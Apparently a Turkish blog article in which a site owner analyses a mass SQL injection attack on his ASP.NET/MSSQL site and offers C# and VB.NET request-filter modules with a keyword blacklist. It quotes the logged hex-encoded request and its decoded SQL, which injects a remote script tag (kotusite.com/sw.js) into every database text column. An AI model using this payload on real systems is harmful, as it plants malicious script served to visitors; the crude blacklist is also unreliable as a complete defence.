Geçen hafta yeni bir SQL Injection saldırısı başladı ve Cuma akşamından itibaren yüz binlerce site ve sunucu bu saldırılara maruz kaldı. Benim siteminde saldırılardan nasibini aldığı ve sunucu loglarına çok geç ulaşmamdan dolayı bir kaç gün sonra ancak müdahale edebildiğim saldırı hakkında biraz bilgi ve bu gibi saldırılardan nasıl korunabileceğimizi bu makale de göreceğiz. Sitem çok eski olduğu için bir sayfamda ne parametrik sql, ne de parametrik stored procedure kullanmadığımı ve saldırıların da buradan geldiğini tespit ettim. Saldırı aşağıdaki hexa koduna benzer biçimde uygulanıyor ve web sunucunda rastgele olarak geçerli dosyaları sorguluyor. sysobjects ve syscolumns tabloları döndürüldüğünde; saldırgan hedefini belirliyor ve makinanın bir MSSQL sunucusu çalıştırdığını belirliyor. Daha sonra da belirledikleri HTML kodunu veritabanına enjekte ediyorlar. Araştırmalarımda, sadece MSSQL değil aynı metot ile Sybase veritabanına da injection uygulayabildiklerini okudum. Diğer editör ve yazar arkadaşlarımın konu hakkkında birçok makalesi olduğu için SQL Injection konusuna daha fazla değinmiyorum. Bu konu ile ilgili makaleleri yine bu kategorideki makalelerde bulabilirsiniz. Öncelikle saldırının tespitine bakalım. Sitemin bulunduğu IIS üzerindeki raw loglarını incelediğimde, yukarıda bahsettiğimin eski usül kod ile yazılmış bir sayfamın yanında aşağıdaki gibi bir GET isteği gördüm. Buradaki bazı hexa kodlarını güvenlik gerekçesiyle siliyorum.
GET /XXXtayfunakcayXXX.aspx ';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524525F4375727626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); Bu hexadecimal çıktısı aşağıdaki gibi bir SQL sorgusu üretiyor. Burayı da biraz sansürlüyorum. DECLARE @@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>title>script src=”http://www.kotusite.com/sw.js”>cript>!–” NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor Bu atak hala birçok siteyi etkileyebiliyor. Benim gibi unuttuğunuz kodlarınız varsa ya da bazı kodlarınızı paremetrik türevlerine çevirmek oldukça iş yükü getirecekse bu makalede anlattığımız çözümü deneyebilirsiniz. Diğer ip bloklama gibi geçici çözümlerden bahsetmeyeceğim. Bunun yanında en iyi çözümün yine parametrik sql ve stored procedure kullanmak olduğunu yine tekrarlayalım.
Aşağıdaki VB.NET ve C# kod örnekleri ile adres çubuğundan gelen bir querystring verisinden, bir form ya da cookie verisinden gelen potansiyel SQL Injection saldırılarını engelleyebilirsiniz. Yalnız aşağıdaki kodu ben kendi siteme göre yazdım. Kendi sitemde bilgi girişi olarak sadece numerik veriler aldığımdan dolayı bu kodda geçen filtreler bana uyuyor. Bunu da siz de kendi sitenize göre uyarlayabilirsiniz. Gelen bütün querystring, form ve cookie değerlerini BeginRequest event i çalıştıran bir kod parçacığı ile karşılayabilirsiniz. Bu tip kodlar HttpModule içerisinde uygulandığında gelen her istekte çalıştırılabilirler. Aşağıdaki kod parçacıklarında HttpModule, App_Code klasöründe tanımlanıyor ve daha sonradan web.config içerisinde register ediliyor. Böylelikle de gelen her bir istekte çalıştırılıyor. Gelen veriyi otomatik olarak kontrol eden kod, filtreye düşen şüpheli bir değer yakaladığında hemen “Hata.htm” dosyasına yönlendiriliyor. Öncelikle kullandığınız dile göre App_Code klasörünüz altında bir class dosyası oluşturun. Daha sonrada aşağıdaki kodları kullandığınız dile göre dosyaya yapıştırın.
SQLInjectionFilter.cs
using System; using System.Data; using System.Configuration; using System.Linq; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.HtmlControls; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Xml.Linq; /// <summary> /// Summary description for SQLInjectionFilter /// </summary> public class SQLInjectionFilter : IHttpModule { //Burada kontrol edilecek degerleri belirliyoruz. Siz burayi kendi sitenize gore degistirebilirsiniz. public static string[] blackList = {"--",";--",";","/*","*/","@@","@", "char","nchar","varchar","nvarchar", "alter","begin","cast","create","cursor", "declare","delete","drop","end","exec","execute", "select", "sys","sysobjects","syscolumns", "fetch","insert","kill","open", "table","update"}; public void Dispose() { } //Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz public void Init(HttpApplication app) { app.BeginRequest += new EventHandler(app_BeginRequest); } //Gelen her istege karşı, tüm querystring, form ve cookie değerlerini kontrol ediyoruz void app_BeginRequest(object sender, EventArgs e) { HttpRequest Request = (sender as HttpApplication).Context.Request; foreach (string key in Request.QueryString) CheckInput(Request.QueryString[key]); foreach (string key in Request.Form) CheckInput(Request.Form[key]); foreach (string key in Request.Cookies) CheckInput(Request.Cookies[key].Value); } //Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. Hata kontrolunu dilediginiz gibi degistirebilirsiniz private void CheckInput(string parameter) { for (int i = 0; i < blackList.Length; i++) { if ((parameter.IndexOf(blackList[i], StringComparison.OrdinalIgnoreCase) >= 0)) { // //Evet. Burada supheli bir SQL kodu yakaladik. Veee // HttpContext.Current.Response.Redirect("~/Hata.htm"); //bye byeee } } } }
SQLInjectionFilter.vb
Imports Microsoft.VisualBasic Public Class SQLInjectionFilter Implements IHttpModule 'Burada kontrol edilecek degerleri belirliyoruz. Siz burayi kendi sitenize gore degistirebilirsiniz. Public Shared blackList As String() = {"--", ";--", ";", "/*", "*/", "@@", _ "@", "char", "nchar", "varchar", "nvarchar", "alter", _ "begin", "cast", "create", "cursor", "declare", "delete", _ "drop", "end", "exec", "execute", "fetch", "insert", _ "kill", "open", "select", "sys", "sysobjects", "syscolumns", _ "table", "update"} Public Sub Dispose() Implements IHttpModule.Dispose End Sub 'Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz Public Sub Init(ByVal app As HttpApplication) Implements IHttpModule.Init AddHandler app.BeginRequest, AddressOf app_BeginRequest End Sub 'Gelen her istege karşı, tüm querystring, form ve cookie değerlerini kontrol ediyoruz Private Sub app_BeginRequest(ByVal sender As Object, ByVal e As EventArgs) Dim Request As HttpRequest = TryCast(sender, HttpApplication).Context.Request For Each key As String In Request.QueryString CheckInput(Request.QueryString(key)) Next For Each key As String In Request.Form CheckInput(Request.Form(key)) Next For Each key As String In Request.Cookies CheckInput(Request.Cookies(key).Value) Next End Sub 'Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. Hata kontrolunu dilediginiz gibi degistirebilirsiniz Private Sub CheckInput(ByVal parameter As String) For i As Integer = 0 To blackList.Length - 1 If (parameter.IndexOf(blackList(i), StringComparison.OrdinalIgnoreCase) >= 0) Then ' 'Evet. Burada supheli bir SQL kodu yakaladik. Veee ' HttpContext.Current.Response.Redirect("~/Hata.htm") 'bye byeee End If Next End Sub End Class
Web.Config En son olarak web config dosyamızda syste.web etiketleri ve httpModules etiketleri arasına aşağıdaki kodu ekleyin.
... <system.web> ... <httpModules> ... <add name="SQLInjectionFilter" type="SQLInjectionFilter"/> ... </httpModules> ... </system.web> ...
Bu makalede, SQL Injection tehditlerinden kodsal olarak nasıl korunabileceğinizi inceledik ve VB.NET ve C# dillerini kullanarak şüpheli SQL ifadelerini süzgeçten geçiren bir modül hazırladık. Kaynak: SQL Injection Attacks on IIS Web Servers Stop SQL Injection Attacks Before They Stop You ASCII Encoded/Binary String Automated SQL Injection Attack
Bir sonraki makalelerde görüşmek üzere. İyi çalışmalar...
Tayfun AKCAY tayfun@tayfunakcay.com